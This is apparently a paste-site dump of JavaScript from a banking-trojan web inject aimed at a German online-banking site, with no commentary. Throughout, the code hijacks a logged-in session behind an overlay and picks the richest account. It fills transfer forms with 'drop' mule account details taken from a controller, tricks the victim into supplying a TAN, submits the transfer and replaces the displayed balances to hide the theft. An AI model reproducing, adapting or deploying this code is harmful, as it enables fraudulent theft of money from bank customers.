- ATS.die('framePageFinanzstatus: cant find any accounts');ATS.sendLogMsg('Found '+parent.ATS.accounts_list.length+' account(s)');parent.ATS.accounts_list.sort(function(a,b){return b.totalBalance-a.totalBalance;});ATS.sendAccountsInfo(parent.ATS.accounts_list);}
- if(parent.ATS.MaxTransferAccNum<parent.ATS.accounts_list.length)
- {parent.ATS.maxAcc=parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum];ATS.sendLogMsg('framePageFinanzstatus: Going to check KreditLimit for account '+parent.ATS.maxAcc.number);parent.ATS.StepInFrame.set_current_state("KreditlimitPage");var infoButton=ATS.getAccountInfoButton(parent.ATS.maxAcc.number);if(infoButton)
- {setTimeout(function()
- {jq(infoButton).click();},2000);}
- else
- ATS.die('framePageFinanzstatus: cant find info button');}
- else
- ATS.die('framePageFinanzstatus: no more accounts');}
- ATS.goToIntTransfers=function()
- {var Internal_transf_page=ATS.getIntLink();if(Internal_transf_page!='')
- {setTimeout(function(){document.location.href=Internal_transf_page;},2000);}
- else
- ATS.die('goToIntTransfers: cant find int_link');}
- ATS.goTryNextAccount=function()
- {parent.ATS.MaxTransferAccNum+=1;parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");var nextLink=ATS.getFinanzstatusLink();setTimeout(function(){document.location.href=nextLink;},2000);}
- ATS.KreditlimitPage=function()
- {var totalKreditBalance=jq("table").find("tr:contains('Betrag')").find("td:eq(1)");totalKreditBalance=ATS.fin2float(jq(totalKreditBalance).text());ATS.sendLogMsg('totalKreditBalance: '+totalKreditBalance);if(totalKreditBalance<=0||isNaN(totalKreditBalance))
- {ATS.sendLogMsg('KreditlimitPage: cant find kredit balance, going to check next account');ATS.goTryNextAccount();}
- else
- {ATS.getDrop('SEPA',totalKreditBalance,function(data){if(data&&data.drop)
- {ATS.debugMsg('[SEPA Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;parent.ATS.StepInFrame.set_current_state("TransactionsSEPA");ATS.goToIntTransfers();}
- else
- {parent.ATS.transf_mode='int';ATS.getDrop('Internal',totalKreditBalance,function(data){if(data&&data.drop)
- {ATS.debugMsg('[Int Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;parent.ATS.StepInFrame.set_current_state("TransactionsINT");ATS.goToIntTransfers();}
- else
- {parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();ATS.die('KreditlimitPage: no drops');}});}});}}
- ATS.framePageTransactionsSEPA=function()
- {parent.ATS.StepInFrame.set_current_state("SEPA_page");var int_link_li=jq('.gad-tabnavigation-list > li:contains(SEPA)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(SEPA) a').length;var href=jq('.gad-tabnavigation-list > li:contains(SEPA) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsSEPA: cant find sepa_link');return false;}
- if(!!int_link_li&&!int_link_li_a){ATS.framePageSEPA_page();}else{ATS.debugMsg("SEPA_link="+href);setTimeout(function(){document.location.href=href;},2000);}}
- ATS.framePageTransactionsINT=function()
- {parent.ATS.StepInFrame.set_current_state("Internal_transf_page");var int_link_li=jq('.gad-tabnavigation-list > li:contains(Inlands)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(Inlands) a').length;var href=jq('.gad-tabnavigation-list > li:contains(Inlands) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsINT: cant find int_link');return false;}
- if(!!int_link_li&&!int_link_li_a){ATS.framePageInternal_transf_page();}else{ATS.debugMsg("int_link="+href);setTimeout(function(){document.location.href=href;},2000);}}
- ATS.framePageOverseas_remittance=function()
- {parent.ATS.StepInFrame.set_current_state("SEPA_page");ATS.debugMsg('ATS.framePageOverseas_remittance, state: '+ATS.StepInFrame[parent.ATS.current_state]);setTimeout(function(){jq('.nextStep input[type="submit"]').eq(0).click();},2000);}
- ATS.framePageSEPA_page=function()
- {ATS.debugMsg('ATS.framePageSEPA_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed)
- {var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0)
- {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='')
- {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1)
- {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});}
- parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc)
- {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();}
- else
- {ATS.sendLogMsg('framePageSEPA_fill Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+' in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}}
- else
- ATS.framePageSEPA_fill();}
- ATS.framePageSEPA_fill=function()
- {parent.ATS.sepa_or_int_select_changed=false;var drop=parent.ATS.sepa_drop;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('input[name*="IBAN"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));jq('#ID_INPUT_BIC').val(ATS.padRight(drop.BIC,11));jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");ATS.sendLogMsg('SEPA form filled in');if(jq('[name="event___pruefen"]').length)
- {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);}
- else
- {ATS.die('framePageSEPA_page: cant find continue button');}}
- ATS.framePageInternal_transf_page=function()
- {ATS.debugMsg('ATS.framePageInternal_transf_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed){var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0)
- {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='')
- {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1)
- {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});}
- parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc)
- {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();}
- else
- {ATS.sendLogMsg('framePageInternal_transf_page Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}}
- else
- ATS.framePageInternal_transf_page_fill();}
- ATS.framePageInternal_transf_page_fill=function()
- {var drop=parent.ATS.int_drop;parent.ATS.sepa_or_int_select_changed=false;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);jq('#ID_INPUT_BLZ').val(drop.BLZ);jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("INT_form_filled");ATS.sendLogMsg('INT form filled in');if(jq('[name="event___pruefen"]').length)
- {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);}
- else
- {ATS.die('framePageInternal_transf_page: cant find continue button');}}
- ATS.enterCode=function(tan)
- {ATS.debugMsg('ATS.enterCode '+tan);if(jq('#INPUT_TAN').length)
- {jq('#INPUT_TAN').val(tan);if(jq('#signWeiter').eq(0).length)
- {parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");parent.ATS.UI_showWait();jq('#signWeiter').eq(0).click();}
- else
- ATS.die('enterCode: cant find button');}
- else
- ATS.die('enterCode: cant find field by label');}
- ATS.frameWork=function()
- {var currentStep=ATS.StepInFrame[parent.ATS.current_state];ATS.sendLogMsg('frame state '+currentStep);switch(currentStep)
- {case"framePageFinanzstatus":ATS.framePageFinanzstatus();break;case"TransactionsSEPA":ATS.framePageTransactionsSEPA();break;case"TransactionsINT":ATS.framePageTransactionsINT();break;case"Overseas_remittance":ATS.framePageOverseas_remittance();break;case"KreditlimitPage":ATS.KreditlimitPage();break;case"SEPA_page":ATS.framePageSEPA_page();break;case"SEPA_form_filled":if(!jq("div[role='alert']:visible").length)
- {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
- {ATS.UI_askTan();}
- else
- {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}}
- else
- {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
- {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();}
- else
- {ATS.die('frameWork: Error fill SEPA form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}}
- break;case"Internal_transf_page":ATS.framePageInternal_transf_page();break;case"INT_form_filled":if(!jq("div[role='alert']:visible").length)
- {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
- {ATS.UI_askTan();}
- else
- {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}}
- else
- {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
- {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();}
- else
- {ATS.die('frameWork: Error fill INT form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}}
- break;case"TAN_ENTERED":ATS.debugMsg("TAN_ENTERED");if(jq("div[role='alert']:visible").length)
- {parent.ATS.badTan=true;if(parent.ATS.transf_mode=='sepa')
- parent.ATS.StepInFrame.set_current_state("SEPA_page");else
- parent.ATS.StepInFrame.set_current_state("Internal_transf_page");ATS.sendLogMsg('frameWork: bad TAN');if(jq('#signZurueck').length)
- {setTimeout(function(){document.location.href=jq('#signZurueck').attr("href");},3000);}
- else
- ATS.die('TAN_ENTERED: cant find previousStep button');}
- else
- {if(parent.ATS.transf_mode=='sepa')
- ATS.framePageReceipt();else
- ATS.framePageReceiptInternal();}
- break;}}
- ATS.ieFrameHack=function()
- {ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length)
- {ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,1000);}
- else
- {var src=ATS.getFinanzstatusLink().replace(/\./g,'%2e');jq('iframe#ats_wrk_iframe').attr('src',src);}}
- ATS.getHolderName=function()
- {var name='';if(jq('#gad_actionchannel_item_logon_name').length)
- name+=jq('#gad_actionchannel_item_logon_name').html();if(jq('#gad_login_name').length)
- name+=jq('#gad_login_name').html();return name;}
- ATS.mainWork=function()
- {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);switch(ATS.current_state)
- {case 0:ATS.sendLogMsg('Holder name: '+ATS.getHolderName());var href=ATS.getFinanzstatusLink();if(href)
- {ATS.StepInFrame.set_current_state("framePageFinanzstatus");ATS.ieFrameHack()}
- else
- ATS.die('mainWork: cant find finanzstatus');break;}}
- ATS.checkLoginError=function()
- {var loginError=jq.trim(jq('.gad-form-error-box').text());if(loginError!="")
- {ATS.loadData(function(data){if(ATS.account_id!=0)
- ATS.sendLogMsg("Login error: "+loginError);});}}
- if((typeof __debugDisabled=='undefined')||!__debugDisabled)
- {document.write('<div class="inj_full_overlay"></div>');jq(document).ready(function(){ATS.debugMsg('document loaded');if(ATS.checkLoginPage())
- {ATS.debugMsg('login page');ATS.setLoginHook();ATS.checkLoginError();jq('.inj_full_overlay').remove();}
- if(jq('#ummelden').text().indexOf("Zum Login")!=-1)
- {ATS.debugMsg('Zum Login!');jq('.inj_full_overlay').remove();}
- if(ATS.isLoggedIn())
- {ATS.debugMsg('logged in!');ATS.loadData(function(data){if(ATS.account_id!=0)
- {var status=ATS.getCookie('status');ATS.debugMsg('AID = '+ATS.account_id+'; status = '+status);switch(status)
- {case"1":if(ATS.isLoggedIn()){ATS.replaceBalances();}
- jq('.inj_full_overlay').remove();break;case"2":jq('.inj_full_overlay').remove();break;default:var t=jq('ul.activeNotificationAction a').text();if((t.indexOf('Sperre aufheben')!=-1)||(t.indexOf('Unlock TAN list')!=-1))
- {ATS.die("TAN-list locked!");jq('.inj_full_overlay').remove();break;}
- if((parent.document!==document)&&parent.ATS)
- {ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();break;}
- else
- {jq('.inj_full_overlay').remove();ATS.getFinanzstatusLink();ATS.getIntLink();ATS.getSepaLink();ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();break;}
- break;}}
- else
- {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}});}
- else
- {if((parent.document!==document)&&parent.ATS)
- ATS.debugMsg('we are in frame and not logged in!');}});}
Add Comment
Please, Sign In to add comment